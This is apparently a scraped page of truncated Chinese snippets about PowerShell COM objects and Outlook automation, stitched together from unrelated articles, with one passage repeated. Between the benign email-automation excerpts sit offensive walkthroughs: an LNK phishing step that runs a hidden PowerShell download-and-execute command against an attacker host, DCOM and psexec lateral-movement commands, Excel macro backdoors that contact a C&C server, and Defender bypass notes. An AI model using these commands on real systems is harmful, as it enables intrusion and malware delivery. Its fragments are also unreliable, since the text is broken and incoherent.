PowerShell监控outlook新邮件到达(单封,多封可能要分解id(旧版需分解?新版不需要?新版就是每个邮件出发一次newmailex?...Add-Type -assembly "Microsoft.Office.Interop.Outlook" add-type -assembly "System.Runtime.Interopservices..." try{ $outlook = [Runtime.Interopservices.Marshal]::GetActiveObject('Outlook.Application')...$outlookWasAlreadyRunning = $true }catch{ try{ $Outlook = New-Object -comobject Outlook.Application
ComObject : 指定要使用的 COM 类的编程标识符(或 ProgId )(获取请参照基础语法对象章)。 Strict : 生成非终止错误(只能在Com对象中使用)。...New-Object -ComObject Scripting.FileSystemObject Add-Member 命令 - 向PowerShell对象的实例添加自定义属性和方法。...Extended : 仅获取在Types.ps1xml文件中或通过使用Add Member cmdlet添加的属性和方法。...(Get-Service -Name TermService).Stop() # 6.使用 Start-Service cmdlet 指定 PassThru 参数,以使其生成输出,然后通过管道将输出传递到...,因为Out-Host 直接写入 PowerShell 主机,但它不会为管道生成基于对象的输出。
Public Sub FwdToGmail() Dim objApp As Outlook.Application Dim objNameSpace As Outlook.NameSpace...Dim objMailItem As Outlook.MailItem Dim objFwdItem As Outlook.MailItem Set objApp = New Outlook.Application...objMAPIFolder.Items Set objFwdItem = objMailItem.Forward objFwdItem.Recipients.Add...这个对话框的内容是,“有一个程序正试图以您的名义自动发送电子邮件。是否允许该操作?如果对此感觉意外,这可能是由于病毒导致,您应选择'否'”。...临时解决方案:使用clickyes(http://www.contextmagic.com/express-clickyes/)。
中加载这个自定义C#类库编译生成的dll,并使用其中的Student类的构造函数生成一个实例,最后调用ToString()方法。...Student类的构造函数生成一个实例,最后调用ToString()方法。...COM对象得到了COM对象的ProgID,就可以使用使用New-Object创建COM对象查看其 # 注意: 需要指定参数为 -comObject PS > $WS=New-Object -ComObject...WScript.shell COM对象和它的方法CreateShortcut()做桌面上创建一个Powershell快捷方式: PS> $shell=New-Object -ComObject WScript.shell...基础示例: # 1) 在脚本中使用函数,本示例为通过Factorial函数求阶乘。 # Tips: Powershell中的函数必须先定义后使用。
财务小妹的需求 “ 需要向大约 500 名用户发送带有 Excel 附件的电子邮件,同时必须按用户从主 Excel 文件中拆分数据以创建他们自己的特定文件,然后将该文件通过电子邮件发送给正确的用户...luobo\\notebooks\\2020-10\\data\\attachments\\A1005_01162021_12PM.xlsx')] 最后我们可以通过将 DataFrame 合并在一起来生成带有电子邮件地址的文件列表...strftime('%b %d, %Y') class EmailsSender: def __init__(self): self.outlook = win32.Dispatch('outlook.application...mail.Attachments.Add(Source=attachment_path) # Use this to show the email #mail.Display...(True) # Uncomment to send #mail.Send() 通过上面这个简单的类,我们可以生成电子邮件并附加 Excel 文件 同时我们还注意到,这里使用了
文章前言 LNK文件是一种用于指向其他文件的特殊文件,这些文件通常也被称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用, LNK钓鱼主要将图标伪装成正常图标,但是目标会执行Shell...命令 钓鱼实践 Step 1:点击Attacks—>Web Drive by—>Scripted Web Delivery,在弹出的对话框中将type类型设置为Powershell,然后单击launch...生成代码 powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.129...:80/a'))" Step 2:制作一下txt文本 Step 3:制作一下powershell $file = Get-Content "Al1ex.txt" $WshShell = New-Object...-comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("Al1ex.lnk") $Shortcut.TargetPath = "%
0x02 DCOM利用 2.1 获得DCOM列表 在windows7,server08中默认是powershell2.0,在server12及以上默认为powershell3.0以上。...powershell3.0及以上 Get-CimInstance Win32_DCOMApplication powershell2.0 Get-WmiObject -Namespace ROOT\CIMV2...psexec.exe xxx/xxx:xxx@192.168.1.101netsh advfirewall firewall add rule name="any" protocol=TCP dir=in...activator]::CreateInstance([type]::GetTypeFromProgID(("WScript.Shell.1"))).Run("calc") (New-Object -ComObject...WScript.shell.1).Run("calc") (New-Object -ComObject WScript.shell.1).Exec("calc") [activator]::CreateInstance
需求 需要向大约 500 名用户发送带有 Excel 附件的电子邮件,同时必须按用户从主 Excel 文件中拆分数据以创建他们自己的特定文件,然后将该文件通过电子邮件发送给正确的用户 需求解析 大致的流程就是上图...luobo\\notebooks\\2020-10\\data\\attachments\\A1005_01162021_12PM.xlsx')] 最后我们可以通过将 DataFrame 合并在一起来生成带有电子邮件地址的文件列表...strftime('%b %d, %Y') class EmailsSender: def __init__(self): self.outlook = win32.Dispatch('outlook.application...mail.Attachments.Add(Source=attachment_path) # Use this to show the email #mail.Display...(True) # Uncomment to send #mail.Send() 通过上面这个简单的类,我们可以生成电子邮件并附加 Excel 文件 同时我们还注意到,这里使用了
,如果要在远程系统中执行命令或Payload,除了会使用at、schtasks、Psexec、WMI、smbexec、Powershell、通过Office应用程序以及包含不安全方法的其他Windows...除了MMC20.Application,还有ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等等都可以为我们所利用...加载powershell拓展,以便使用powershell命令 ?...]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","10.10.10.12")) # 然后执行如下命令,通过Outlook...如有可能,请强制启用PowerShell的“Constrained Language Mode(约束语言模式)”(这对特权账户来说可能有点难); 6、在DCOM调用“失败”时,目标主机上的System日志中会生成
用来反弹会话时,代码如下: CreateObject("WScript.Shell").Run "powershell.exe ..............."...Outlook.Application: Set outlookApp = CreateObject("Outlook.Application") outlookApp.CreateObject("Wscript.shell...使用DotNetToJScript 操作上述代码,生成的代码类似如下: Function Base64ToStream(b,l) Dim enc, length, transform, ms Set...但是直接生成的payload是会被windows defender所检测到的,需要自行混淆。混淆后绕过windows defender执行成功。 ?...但目前该类方法我们利用起来仍然不是很好利用,因为虽然可以绕过windows defender的检测,但假如我们使用com去调用powershell远程加载的时候仍然无法绕过widnows defender
标签:python,pandas,python-docx,pywin32 本文介绍如何使用python-docx自动化Word文档,以及如何使用win32com库发送电子邮件。...假设有一个存储在Excel文件(或数据库)中的客户信息列表,处理过程如下所示: 1.为每个客户端自动生成MS Word发票 2.将Word文档转换为PDF格式 3.使用MS Outlook App向客户发送带有自定义问候语的...使用Outlook App自动发送电子邮件 接下来,我们将把发票发给我们的客户。win32com再次成为我们与OutlookApp交互的助手。...似乎甚至不需要打开Outlook应用程序就可以使用Python发送电子邮件。只要我们以前登录过Outlook应用程序,就可以继续了。...把它们组合起来了,可以使用循环逐个发送发票,或使用其他流程生成发票。
然后使用/?标志来显示帮助信息。下面是执行此操作的完整命令。 cmd.exe /? 请注意,多个命令由命令分隔符“&&”分隔。 变量 变量在百分号之间拆分,并使用两个“&”号将多个命令连接在一起。...Powershell打开它。...不使用任何配置文件,其次,参数-win 1,值1代表隐藏窗口。 第二阶段– ISES 我们提取出bmp图片里面的Powershell脚本。完整的脚本如下。...computerSystem} -eq $('HVM domU') { return "Y" } else { return "N" } } 下面的函数看起来像一个随机字符串生成器...这是此示例中使用的持久性技术。 之后,通过rundll32.exe调用DLL 。在强制重启机器之前,睡眠功能会等待40秒。然后,使用先前设置的持久性机制使恶意软件在计算机上保持活动状态。
但是使用恶意宏进行攻击,往往需要用户进行交互,攻击的隐蔽性不强,结合Powershell的攻击方式二者结合还是可以搞一点大事情的。...我们通过工具生成一个有powershelldownloader功能的一个excel,victim服务器打开此excel之后会从CC服务器下载并执行一个基于powershell的payload到本地的计算机后就可以通过...在github下载一个powershell工具用于生成excel后门,这里使用了Generate-Macro一个评价很不错的小工具。...待用户执行了宏代码之后,会调用windows系统的当中的wmi拉起powershell进行下载并连接远程CC端。 关键代码如下: ? 可以在第一个powershell.exe的启动参数找到痕迹 ?...0x5 总结 1.如果投递特定主题及内容的电子邮件来进行攻击,安全意识薄弱的用户很容易中招。
此方法使用简单,一键式保存,只是需要们下载软媒魔方或者单独使用软媒美化大师。 手动保存方法: 除了使用工具之外,我们还可以手动进行保存。...使用命令快速保存: 新建一个记事本,复制黏贴以下命令: add-type -AssemblyName System.Drawing New-Item "$($env:USERPROFILE)\Desktop...foreach($newfile in (Get-Item "$($env:USERPROFILE)\Desktop\锁屏壁纸\CopyAssets\*")) { $image = New-Object -comObject...Remove-Item "$($env:USERPROFILE)\Desktop\锁屏壁纸\CopyAssets"; 完成之后保存,将记事本的扩展名改成 ps1 文件,保存之后,右键单击文件,以 powershell...运行,运行完成之后,就会在桌面生成一个锁屏壁纸文件夹,里面就会是我们的锁屏壁纸。
然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件Gamma.exe复制到目标主机DC系统C盘中。 3. 再在目标主机DC上创建一个名称为“backdoor”的服务。...hash,直接wce注入到当前内存就行 还可以通过生成恶意的msi文件,通过共享上传到目标机器,然后安装 net use \\\192.168.1.105\c$ /user:administrator@...我们可以利用一个非常著名的WMI类,Win32_Process,可通过利用来生成(远程)进程执行命令。...在powershell中我们可以使用 get-CimInstance来列出本地COM程序列表 远程DCOM对象的实例表现如下: 客户端计算机从远程计算机请求实例化由CLSID表示的对象。...("a.invisibleapp","192.168.75.130")) $b = $a.documents.Add("") $b.Executeline('CreateObject("wscript.Shell
在系统磁盘下windows目录下发现多个随机命名的exe文件,以及mimikatz的运行日志文件,包括powershell文件。发现中毒后第一时间使用杀毒软件清理病毒,简单粗暴!...但是效果并不尽人意,被杀毒软件杀掉的病毒又会重新生成新的病毒文件。...病毒利用powershell远程下载一段新的powershell代码执行,这里会定时下载新的病毒文件执行挖矿并开始蠕虫式传播。...powershell代码会通过服务端下载新的病毒执行,并添加后门powershell到任务计划,对于生成的exe病毒文件只需要杀毒软件就可以轻松解决,但是powershell的计划任务却被遗漏导致无法清理彻底...准备web服务改为自定义ps代码 例如删除所有无法清理干净powershell后门: $service=New-Object -ComObject("Schedule.Service")$service.Connect
因为平时经常要拆成工作簿,拆完还要发给不同的对象,工作又使用outlook发邮件,所以本文调用outlook账号进行邮件的发送作为示例,如果想调用其他邮箱可参见文末参考链接,你也可以举一反三。...拆成多个表的关键步骤在于怎么生成表,huang用to_excel(),类比可得,拆成多个工作簿的关键步骤在于怎么生成工作簿,用ExcelWriter(),结合遍历,给每个因子都生成一个工作簿,并写入文件夹就完成了吗...# 一定要加上这句代码,“拆好的表”才会显示出来 for j in area_list: def send_mail(): outlook = win32.Dispatch('Outlook.Application...= list(data2['Cc'][data2['店铺'] == j]) [0] #抄送人 # mail.Recipients.Add(addressee) mail_item.Subject...''' mail_item.Attachments.Add(r'C:\Users\PycharmProjects\拆分自动邮件发送'+f'\{str( j )} 拆分自动邮件发送.xlsx
这里我用msf来探测下FTP是否允许 匿名登陆,使用msf的/auxiliary/scanner/ftp/anonymous模块。 ? ...发现报错 无法启动PASV传输,那我们加个 --no-passive 使用FTP的被动模式。...压缩文件使用AES-256 Deflate进行加密的,我们把密码的HASH提取出来到时候破解用。...可以看到security的密码:4Cc3ssC0ntr0ller。我们用获得凭证去登陆telnet。 Security:4Cc3ssC0ntr0ller ? 登陆成功!...$WScript = New-Object -ComObject Wscript.Shell 2. $shortcut = Get-ChildItem *.lnk 3.
可以使用下面Powershell脚本来解析计划任务的 XML 配置文件 # 指定XML文件路径 $xmlFilePath = "C:\Path\to\your\Task.xml" # 创建XmlDocument...新建计划任务 新建计划任务的方法有多种,包括使用图形用户界面 (GUI) 工具、使用 PowerShell 命令以及使用系统自带的命令行工具。...使用Powershell的cmdlet 在管理员权限下使用Powershell Register-ScheduledTask cmdlet来创建计划任务。...例如使用 "Task Scheduler Scripting Object Model" 接口: # 创建计划任务的操作 $action = New-Object -ComObject "Schedule.Service...IAction (IAction): 用于创建和管理计划任务操作的接口,例如运行程序、发送电子邮件等。
其实 Windows 下也可以使用功能强大的 Shell 来编写程序,这就是今天我要介绍的 Powershell。...所以为了更好地使用Powershell,最好有一点.NET编程基础,这样学习Powershell就会感觉非常轻松和愉快。...在Powershell窗口中使用下面的命令即可查看相关信息。...# create new excel instance $objExcel = New-Object -comobject Excel.Application $objExcel.Visible =...我已经决定学习完Powershell之后,将来在所有可以使用Powershell的地方全部使用它,享受命令行管理系统的快感。